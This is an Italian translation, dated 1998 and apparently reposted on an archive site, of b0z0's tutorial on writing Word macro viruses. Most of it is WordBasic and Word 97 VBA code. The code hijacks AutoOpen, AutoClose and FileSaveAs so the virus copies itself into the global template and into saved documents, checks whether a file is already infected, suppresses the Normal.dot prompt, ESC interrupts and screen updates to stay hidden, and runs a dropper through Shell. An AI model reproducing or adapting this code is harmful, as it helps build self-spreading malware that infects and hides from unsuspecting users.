Copy Link
Add to Bookmark
Report

B0Z0 MACRO VIRUS GUIDE

hacker's profile picture
Published in 
Spippolatori
 · 5 years ago

 

Gli ____ _ ___ ___ __ ______ ____20-11-98
/ __/__ (_) _ \/ _ \___ / / ___ /_ __/__ ____/ _/ ASCII
_\ \/ _ \/ / ___/ ___/ _ \/ /_/ _ `// / / _ \/ __// / by
/___/ .__/_/_/ /_/ \___/____|_,_//_/ \___/_/ /___/RigoR Mortem
/_/

Presentano : B0Z0 MACRO VIRUS GUIDE

Tradotto da : RuiDeti (http://members.xoom.com/ruideti/index.htm)
ruideti@iname.com


Ed eccoci ad una guida basilare sulla programmazione dei macrovirus. Il testo originale si riferiva alla versione 95 del Microsoft Word. All'interno troverete solo due procedure modificate per funzionare anche con Word 97. Cmq se usate il 97 e' meglio che vi riferiate all'help per vedere come sono cambiati i comandi. Se invece volete fare pratica proprio sulle macro proposte procuratevi la versione 95. Per 'esportarle' sulla 97 bastera' fargli aprire un documento infetto e la conversione sara' automatica ( Grazie compilatori Microsoft!!!! Cosi' i virus per il 95 avranno vita piu' lunga. ). In ogni caso, se volete scrivere macro virus, da adesso in poi, e' meglio che impariate il VBA che ha definitivamente soppiantato il WordBasic.

E adesso addentriamoci nella traduzione.

_______________________________________________

Wordmacro Viruses

by b0z0


1. Introduzione

In quest'ultimo periodo i WordMacro Virus sono diventati una nota conoscienza di tutti gli utilizzatori di pc. Dopo il primo tentativo andato in porto di creare un macro virus (col Concept macro), in questo tipo di programmazione, sono state implementate molte nuove tecniche. I Macro virus sono davvero semplici da creare perche' sono scritti in un linguaggio di programmazione abbastanza facile implementato nel Word (versione 6.0 e successive): il Wordbasic.
Utilizzando alcuni buchi nei sistemi di sicurezza di Word ed alcune 'rischiose' opzioni di default (che pure sono sconosciute al tipico utente di Word :) ) l'infezione e la propagazione possono diventare facilmente realta'. In generale la maggior parte dei prodotti AntiVirus utilizzati non tengono conto dei file .Doc, questo perche' non sono mai realmente eseguiti. Questo e' il maggior vantaggio dei Macro Virus (cosa che accadeva, ahime', quando b0z0 scriveva la sua guida. A tutt' oggi non c'e' AntiVirus che non rompa le scatole scannando con gran dolore i nostri Docs n.d.t.).
Qualcuno sostiene che i Macro Virus possono essere considerati come un 'prodotto multipiattaforma', ma, a causa di alcune mancanze nel lavoro della Micro$oft, non e' del tutto vero.

(Virus: qualcosa che si diffonde velocemente e fa' funzionare male i Computer; Prodotti MiscroSoft: qualcosa che si diffonde velocemente e fa' funzionare male i Computer ;-) n.d.t.)


2. Come funzionano?

Tutti i documenti Word possono contenere, assieme al testo, anche un file chiamato Template, che include alcune definizioni specifiche o delle Macro che operano sul testo in un determinato modo (create con le utility per le Macro incluse nel Word). Le macro incluse in un documento possono essere anche autoeseguibili, cioe' partono nel momento stesso in cui il file .Doc viene aperto, oppure possono attivarsi quando si verifica un determinato evento. Il Word ha delle macro predefinite che hanno nomi riservati e che partono quando il Word fa' determinate operazioni come salvare o aprire un documento. Queste funzioni predefinite (assieme a tutte le caratteristiche di una nuova pagina) si trovano nel file template NORMAL.DOT.
Creare una macro che abbia il nome di una predefinita ci permettera' di eseguire cio' che vogliamo al verificarsi di uno specifico evento. La macro AutoExec, per esempio, e' eseguita alla partenze del Word, l' AutoOpen e' eseguita quando si apre un documento e cosi' via. Cosi', per 'rilevare' il sistema, e' regola generale rimpiazzare alcune delle macro predefinite piu' usate con delle macro virulente.


3. Creare un macro virus.

Quindi, la prima cosa da fare nel nostro WordMacro, e' di mettere la nostra macro virus al posto di quella originale che si trova sul documento da infettare.
Possiamo, ad esempio, aggiungere facilmente nella macro AutoOpen delle linee di codice che copieranno le nostre routine d'infezione dove ci interessa, all'interno della sezione riservata alle WordMacro (chiamata Global template), proprio all'apertura del documento.
Per esempio, se vogliamo copiare la nostra macro AutoClose nel Global Template la macro AutoOpen
dovra' risultare cosi':

 
Sub main
CopiaMacro NomeFinestra$()+":AutoClose","Global:AutoClose" ,1
End sub

Il comando CopiaMacro del WordBasic copia una macro (da un template) in un'altra macro (nello stesso template o in un'altro). Cosi' rimpiazzeremo la macro AutoClose del Global Template con la nostra AutoClose che si trova nel documento infetto corrente ( il cui nome e' restituito dalla funzione "NomeFinestra$()" ). L' "1" finale, significa che la macro e' "Execute Only", cioe' solo eseguibile. Quest'attributo non permettera' all'utente di modificare la macro una volta che questa e' stata creata. Se alla fine non mettiamo l' "Execute Only", qualunque lamer sara' capace di cambiare qualcosa nel nostro virus oppure l'utente potrebbe accorgersi che le macro non sono proprio 'utili' al suo lavoro.

Un tipico macro Virus ricerca altre macro predefinite ben piu' interessanti. Sarebbe bello, se ne avessimo la possibilita', infettare un documento quando sta per essere salvato. Per farlo dovremo agganciare la macro FileSalvaConNome. Possiamo inserirci all'interno del codice, che mettera', assieme al testo salvato, anche macro virulente. Come abbiamo detto in precedenza le macro aggiuntive non vanno direttamente nel file .Doc, ma nel file template (.Dot). Questa non e' una buona cosa, perche' ci dovrebbe impedire di infettare altri Doc. Ma non e' vero, perche' potremmo sempre salvare il lavoro dell'utente come template e il Word, al prossimo caricamento del file, lo aprirebbe normalmente, come un normale documento.
In questo modo le nostre macro andranno in giro per il mondo con l'estensione .Doc, ma, in sostanza, saranno sempre un template :) Vediamo un esempio di macro FileSalvaConNome:

 
Sub Main
Dim dbox As FileSalvaConNome 'definiamo quale dialog box dovra' apparire
GetcurValues dbox 'inizializziamo ed eseguiamo la dialog box
Dialog dbox
CopiaMacro "Global:AutoClose", NomeFinestra$() + ":AutoClose" ,1
CopiaMacro "Global:FileSalvaConNome", NomeFinestra$() + ":FileSalvaConNome" ,1
dbox.Format = 1 'stiamo per salvare un template
FileSalvaConNome dbox 'e alla fine lo salviamo
End Sub


By Ruideti ---------------------------------------

Versione per Word97.

 
Public Sub MAIN()
Dim dbox As Object: Set dbox = WordBasic.DialogRecord.FileSaveAs(False)
'definiamo quale dialog box dovra' apparire
WordBasic.CurValues.FileSaveAs dbox 'inizializziamo ed eseguiamo la dialog box
WordBasic.Dialog.FileSaveAs dbox
WordBasic.MacroCopy "Global:AutoClose", WordBasic.[WindowName$]() + ":AutoClose", 1
WordBasic.MacroCopy "Global:FileSalvaConNome", WordBasic.[WindowName$]() + ":FileSalvaConNome", 1
dbox.Format = 1 'stiamo per salvare un template
WordBasic.FileSaveAs dbox 'e alla fine lo salviamo
End Sub

---------------------------------------------------


In questo esempio abbiamo copiato due macro virulente (AutoClose e FileSalvaConNome) nel nuovo file, il cui nome e' dato nella dialog box dall'utente. Prima, naturalmente, dobbiamo definire il tipo di dialog box come variabile. Se stavamo utilizzando un'altra macro (ad esempio FileOpen) avremmo dovuto usare un'altra dialog box, in base alla macro (ad esempio Dim dbox As FileOpen).
Dopo aver inizializzato la dialog box con l'istruzione GetcurValues (una inizializzazione generale, come la directory in cui ci troviamo, il tipo etc..) possiamo finalmente far apparire la dialog box eseguendo semplicemente il comando Dialog e mettendo il nome (in questo caso dbox) proprio della dialog box che abbiamo appena definito. Una volta copiate le macro definiamo che stiamo salvando un template e alla fine chiamiamo la vecchia routine di salvataggio.
Per implementare la nostra macro di infezione possiamo anche verificare se il file che stiamo salvando e' un .Doc o un .Dot. Se il file e' qualcos'altro (per esempio un normale file di testo) sarebbe bene non copiare le macro. Per evitarlo mettiamo un test dopo aver chiamato la dialog box e verifichiamo il formato con dbox.Formato. Se dbox.Formato e uguale a 0, allora l'utente sta' salvando in un file Doc (e noi possiamo infettarlo, naturalmente trasformandolo in un template) mentre, se dbox.Formato e' uguale a 1 allora si sta cercando di salvare un Template.
In tutti gli altri casi l'utente ha selezionato qualcos'altro, che noi non infetteremo. La routine di test, dopo la dialog box, dovra' essere piu' o meno cosi':

 
If ((dbox.Formato = 0) Or (dbox.Formato = 1)) then
'Infect them!
End If
FileSalvaConNome dbox

Come abbiamo fatto per FileSalvaConNome, possiamo provare ad infettare FileSave o FileOpen (quando vien aperto un file) oppure qualcos'altro. Dipende dai gusti.
Adesso che abbiamo piazzato qualcuna delle nostre routine nel Global Template, sarebbe bene fare una macro che rende attivo il nostro virus non appena il Word viene aperto. Questa macro si chiama AutoExec e assomiglia molto alla macro AutoOpen. Infatti, in entrambi i casi, copieremo le nostre macro al posto delle originali se non sono gia' state sostituite.
Un'altra cosa importante, quando andiamo residenti in memoria o quando infettiamo un documento, e' controllare se il template (il Global se andiamo residenti o il template del file se stiamo per infettare) e' gia' infetto dalle nostre macro. Bastera' semplicemente analizzare tutti i nomi delle macro installate e cercare una (o piu') delle nostre macro. Potremmo fare cosi':

 
For Cnt = 1 To ContaMacro(0) 'controlliamo tutte le macro in Global
If NomeMacro$(Cnt,0) = "OurNamedMacro" Then 'e' la nostra?
Founded = 1 'In qualche modo segniamo che l'abbiamo trovata!
End If
Next Cnt

By Ruideti ---------------------------------------

Versione per Word 97

 
Public Sub MAIN()
Dim Cnt
Dim Founded
For Cnt = 1 To WordBasic.CountMacros(0) 'controlliamo tutte le macro in Global
If WordBasic.[MacroName$](Cnt, 0) = "OurNamedMacro" Then 'e' la nostra?
Founded = 1 'In qualche modo segniamo che l'abbiamo trovata!
End If
Next Cnt
End Sub

---------------------------------------------------


Adesso dobbiamo mettere qualche buona macro nel Global Template. Quando un utente finisce il suo lavoro su un file e lo chiude, il Word automaticamente lo informa che il file Normal.Dot (il Global Template) e' stato cambiato, chiedendo conferma di salvataggio. Naturalmente questa non e' una buona caratteristica 'stealth'. Per evitarlo possiamo scrivere una macro, che si attiva quando usciamo da un file e che attiva/disattiva la richiesta Si/No. La macro che cerchiamo e' la FileEsci. Per disabilitare la richiesta dobbiamo azzerare una variabile interna del Word e poi richiamare la vecchia procedura FileEsci. Cosi' la Macro sara':

 
Sub Main
StrumOpzioniSalva..SalvataggioNormalDot = 0
FileEsci
End Sub

La StrumOpzioniSalva e' conosciuta come cartella Salva nel menu' Strumenti nel sottomenu' opzioni , dove sono definite le preferenze di salvataggio. In questo caso abbiamo disattivato direttamente in quel menu', l'opzione che abilita' la richiesta di conferma per il salvataggio dei cambiamenti nel file Normal.Dot.
In piu', in tutte le nostre macro sarebbe bene includere l'istruzione "On Error Goto", che automaticamente chiama la funzione data come parametro al verificarsi di un errore (dopo aver chiamato una funzione o semplicemente se c'e' un rpoblema di compatibilita', come vedremo piu' tardi). E' molto importante farlo soprattutto quando si scrive un macro virus che include dialog box o funzioni che possono interrompersi. Infatti, quando si preme preme il bottone cancel, in qualunque dialog box, sara' generato un errore che comunica all'utente che la macro non e' stata completata con successo. Con una piccola routine che gestisce gli errori possiamo nascondere cio' che accade e fare in modo che le nostre macro continuino. Per esempio:

 
Sub Main
On Error Goto NoGood
; qui si mette la nostra macro
; ......
; fine della macro
NoGood:
; fa' qualcosa .... ad esempio da' il controllo alla funzione originale
; chiamata dall'utente, oppure esce semplicemente dalla macro.

Per essere piu' nascosti possibile, bisogna settare un'altra importante variabile Word: la Disableinput. Impostando il suo valore a 1 impediremo l'interruzione della macro attraverso il tasto ESC. Se non viene fatto questo settaggio, un utente abbastanza intelligente (ma se lo fosse non utilizzerebbe word ;) ) potrebbe premere ESC durante l'esecuzione della nostra macro per bloccarla (per esempio, mentre scriviamo in un file il Word appare bloccato per molti secondi e l'utente potrebbe accorgersi di questa attivita' su disco ... d'altra parte, sotto winzozz, l'hard disk trasha sempre ;))) ). Che c'e' di peggio se blocca la macro e riceve un messaggio che la macro e' stata interrotta con successo? ... non e' proprio una vera caratteristica stealth ;)
Per continuare con le caratteristiche stealth (duh :) ) c'e' un'altro comando di Wordbasic che puo' essere molto utile per nasconderci. Infatti, se settiamo ScreenUpdate a 0, durante l'esecuzione della macro, non saranno visualizzate le modifiche al documento (o alla macro, o qualunque cosa :) ). Questa caratteristica ci puo' essere utile se la nostra macro modifica anche qualcosa nella finestra che contiene il testo. Per abilitarci contro la modifica della schermata di Word bastera' settare questa variabile a 1.
Qualcuno di voi si sara' gia' accorto che che le funzioni che abbiamo utilizzato sono fondamentalmente gli stessi dei comandi dei menu' Word:

 
FileSalvaConNome
FileChiudi
StrumOpzioni
StrumOpzioniSalva

Percio', tutti i comandi del menu' File iniziono con la parola 'file' e cosi' via. Pensate al comando che volete agganciare, date un'occhiata all'help per la sintassi completa e scrivete la macro.

4. Maneggiare i files

In piu', con Wordbasic, potete manipolare qualunque file esterno che si sia sull'hard disk. Ci sono solo pochi comandi usati comunemente. Il primo e' Open, che apre un file sul disco. Ci sono tre tipi di apertura di file:

 
Open "C:\PADA.NIA" For Input As #1
Open "C:\FOOBAR" For Output As #2
Open "C:\GULLI.VER" For Append As #3

Col primo apriamo il file in sola lettura, nel secondo caso in scrittura e nell'ultimo caso per aggiungere dati alla fine di un file esistente. Come si puo' notare bisogna ancge assegnare un numero al file che si vuole aprire. Per adesso il Word puo' maneggiare un massimo di 4 file contemporanei (1-4). Quando apriamo un file in scrittura, se quaesto non esiste, il Word lo creera' automaticamente. Quando invece vogliamo leggere un file e questo non esiste, il Word ci restituira' un messagio di errore (che puo' essere gestito facilmente con la procedure che abbiamo gia' descritto riguardo gli errori). In questo modo possiamo vedere anche se un file esiste o no. Infatti, per vedere se un file e' presente sul disco, l'unica cosa che possiamo fare e' aprirlo in lettura e, se si genera un errore, vuol dire che il file non esiste (e forse stiamo per crearlo noi).
Dopo aver aperto con successo un file (in base a quello che vogliamo fare) possiamo adesso scriverci all'interno qualcosa col comando Print o col Comando Write (c'e' solo una minima differenza nella sintassi dei due comandi)

 
Print #2, "Chauabunga"

Possiamo anche leggere qualcosa dal file grazie alla funzione Input$ (o anche grazie al comando LineInput se vogliamo leggere una linea di caratteri che termina con la sequenza CR-LF (CarriageReturn-LineFeed) ):

 
AlcuniCaratteri$=Input$(20,#1) ;legge 20 caratteri dal file #1
Line Input #1, $our ;copia la linea corrente del file #1 nella variabile $our

Quando abbiamo terminato tutte le operazioni sul nostro file, l'ultima cosa che rimane da fare e' chiuderlo con un semplice:

 
Close #n ;chiude il file #n

Ci sono anche molti altri comandi davvero utili che potrebbero servirci per creare le nostre macro virulente (esempi molto interessante sono le funzioni: Lof() che restituisce la lunghezzadi un file in bytes, Kill() che cancella un file, SetAttr che modifica gli attributi di un file, GetAttr che acquisisce gli attributi di un file, Name che rinomina un file o una directory, File$ che cerca un file nella directory corrente e cosi' via) ma naturalmente non parlero' di tutte loro :) Basta che guardiate il file di help per una guida piu' completa.

5. Eseguire Comandi Dos

Oltre alla gestione dei file, con Wordbasic, possiamo anche eseguire qualunque programma Dos esterno e anche alcuni comandi interni del dos. La sinstassi di esecuzione di un comando esterno e' molto semplice:

 
Shell "C:\DROPPER.COM", $tipo

Dopo Shell dobbiamo metter il comando che vogliamno eseguire e il tipo (ma questo non e' necessario) di finestra in cui il programma sara' eseguito. Il tipo puo' essere un numero da 0 a 4 dove:

 
0 significa che la finestra e' minimizzata a icona
1 significa finestra normale
2 ha lo stesso significato di 0. Serve a mantenere la compatibilita' con Excel.
3 significa finestra ingrandita
4 significa finestra inattiva

E questo e' tutto riguardo l'avvio di programmi esterni. Adesso diamo un'occhiata ai comandi interni del Dossupportati da Wordbasic. Naturalmente, usando questi, non viene creata una finestra per cui l'utente non si accorgera' assolutamente di niente. Ad esempio:

	     
Mkdir "C:\GPL"
Shell "mkdir C:\GPL",0

I risultati finali dell'esecuzione di questi due comandi saranno identici, ma il secondo creera' una nuova finestra dos per l'esecuzione del programma, e questo potrebbe allarmare l'utente. Ed inoltre utilizzera' piu' risorse del pc.
Ecco una piccola lista di comandi Dos interni molto utili, tutti supportati da Wordbasic:

 
Chdir "C:\FOO" ;cambia la directory corrente in C:\FOO
Mkdir "C:\WINSLOTH" ;crea la directory C:\WINSLOTH
Rmdir "C:\W1NL0SE" ;cancella la directory C:\W1NL0SE
path$=Environ$("PATH") ;mette in path$ il PATH (Percorso) corrente
CopiaFile ..... ;per copiare un file

e cosi' via :)

6. Altre informazioni

Oltre tutto questo si possono fare moltre altre cose utili col Wordbasic. Ad esmpio c'e' a disposizione un set completo di operatori aritmetici e funzioni. Sono disponibili anche comandi per determinare molte caratteristiche di una macchina (come la lingua usata, la cpu, la memoria). Anche la possibilita' di agire sul Win.Ini e' un buon optional :) e, come in altri linguaggi di alto livello, e' pienamente implementata la manipolazione delle stringhe.

7. Caratteristiche Multipiattaforma

Una delle cose piu' difficili dei macro virus e' la portabilita'. Infatti un macro virus scritto usando i comandi inglesi non funzionera' con la versione svedese. Il Word avvertirebbe l'utente che ci sono alcune macro che usano comandi sconosciuti. Infatti tutti i nomi dei menu' sono differenti. Il FileClose del Word inglese e', ad esempio, FileChiudi nella versione italiana e DataiBeended nella versione tedesca. E' semplicemente perche' i nomi presenti nei menu' sono differenti da versione a versione.

8. Una minaccia reale?

C'e' un momdo semplice per proteggersi dalle infezioni. Si puo' disabilitare l'esecuzione automatica delle macro. Quindi, le macro word, non possono assolutamente essere considerate una vera minaccia. D'altra parte il Wordbasic e' divertente ed ha _un mondo_ di comandi interessanti che possono essere usati.
Le macro word ci possono far divertire, come sempre nel nostro lavoro :)
___________________________________


Alla prossima.
Byezzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT